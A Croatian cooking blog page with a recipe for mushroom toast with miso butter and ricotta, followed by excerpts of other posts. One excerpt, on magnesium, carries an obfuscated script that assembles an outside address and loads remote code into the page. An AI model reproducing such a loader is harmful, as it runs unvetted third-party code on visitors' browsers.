TOST S GLJIVAMA, MISO MASLACEM I RICOTTOM 🍄‍🟫 🍄




Tost s gljivama, miso maslacem i ricottom 



Nemojte pretrpati tavu s gljivama, dobro zapečena površina daje im intenzivniji okus koji se savršeno slaže s bogatim miso maslacem i svježinom ricotte.





Tost s gljivama, miso maslacem i ricottom 


Sastojci za dvije osobe:

2 velike kriške kruha od kiselog tijesta 
300 g miješanih gljiva 
150 g ricotte 
40 g maslaca 
1 do 2 žličice bijelog ili svijetlog misa 
1 češanj češnjaka 
Nekoliko grančica svježeg timijana 
Maslinovo ulje 
Malo limunove korice 
Sol i papar 





Priprema:

Gljive očistite i narežite na manje komade.

U širokoj tavi zagrijte malo maslinova ulja pa ih pecite u jednom sloju dok ne dobiju lijepu zlatnosmeđu boju.

Smanjite vatru i dodajte maslac, sitno nasjeckani češnjak i listiće timijana.

Kada se maslac rastopi i zamiriše umiješajte miso.

Sve dobro promiješajte kako bi se gljive obložile aromatičnim umakom.

Ako je smjesa pregusta dodajte žlicu vode.

Prije dodatnog soljenja kušajte gljive jer je miso već dovoljno slan.

Ricottu stavite u zdjelicu i izmiješajte s nekoliko kapi maslinova ulja, malo limunove korice i paprom.

Za još nježniju, kremastiju teksturu kratko je izradite pjenjačom.

Kruh prepecite na tavi ili u pećnici dok ne postane hrskav izvana.

Na svaku krišku rasporedite ricottu, a zatim dodajte tople gljive s miso maslacem.

Završite s nekoliko listića timijana, malo limunove korice i paprom.

Poslužite odmah do je kruh još hrskav, a gljive tople.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više